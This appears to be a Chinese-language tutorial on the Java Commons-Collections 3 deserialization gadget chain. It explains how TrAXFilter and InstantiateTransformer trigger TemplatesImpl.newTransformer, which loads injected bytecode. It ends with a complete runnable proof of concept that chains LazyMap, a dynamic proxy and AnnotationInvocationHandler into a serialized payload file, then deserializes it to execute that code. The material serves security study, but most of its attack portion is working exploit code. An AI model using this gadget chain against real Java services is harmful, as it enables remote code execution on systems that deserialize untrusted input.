java cc链3TrAXFilter与InstantiateTransformer
上文最后调用
templates.newTransformer()
cc链1中,是通过InvokerTransformer.transform
方法,通过反射进而执行系统命令,这里通过反射调用TemplatesImpl.newTransformer
,实现和templates.newTransformer()
相同的效果
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
invokerTransformer.transform(templates);
再往后走一点就变为了
Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)
,};Transformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);
然后问题又回到了调用ChainedTransformer.transform
方法上,直接利用cc1的后半部分即可
或者说 找到一个调用TemplatesImpl.newTransformer
方法的类,这里使用TrAXFilter
在public方法中调用
public TrAXFilter(Templates templates) throwsTransformerConfigurationException
{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();
那么templates.newTransformer()
就可以变为
TrAXFilter trAXFilter = new TrAXFilter(templates);
然而TrAXFilter不能进行序列化,在InstantiateTransformer.transform
方法中存在一个反射方法,
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
获取一个特定参数类型的构造函数,那么刚好利用TrAXFilter的public TrAXFilter
方法,该方法接受一个Templates
类
public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;}/*** Transforms the input Class object to a result by instantiation.* * @param input the input object to transform* @return the transformed result*/public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);
那么这里的input就是TrAXFilter.class
,iParamTypes就是Templates
类,这样就可以在TrAXFilter.class
中找到public TrAXFilter
方法,而我们想用TrAXFilter.class
执行TemplatesImpl.newTransformer()
,所以这里的iArgs就是templates,那么完整代码就是
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
input.transform(TrAXFilter.class);
实现了templates.newTransformer()
的目的,发现又转到了如何实现InstantiateTransformer.transform
方法,这里就很简单了,直接使用
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),input
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);
即可 ,ChainedTransformer递归调用,ConstantTransformer将TrAXFilter.class返回到InstantiateTransformer.transform
方法中,实现了input.transform(TrAXFilter.class)
的目的剩下的就是替换后面的内容为TransformedMap
或者LazyMap
TransformedMap
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class test08 {public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class tc=templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"aaaa");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));byte[][] codes= {code};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());
// TrAXFilter trAXFilter = new TrAXFilter(templates);InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// input.transform(TrAXFilter.class);// templates.newTransformer();
// InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// invokerTransformer.transform(templates);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),input};Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(1);HashMap map=new HashMap<>();// TransformedMap// map.put("value","gxngxngxn");
// Map transformedmap= TransformedMap.decorate(map,null,transformerChain);
//
// Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
// constructor.setAccessible(true);
// Object o=constructor.newInstance(Target.class,transformedmap);// lazymapMap<Object,Object> lazymap= LazyMap.decorate(map,transformerChain);
// transformedmap.get("test");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class,lazymap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazymap.getClass().getInterfaces(), annotationInvocationHandler);annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);serialize(annotationInvocationHandler);unserialize("person.bin");}
}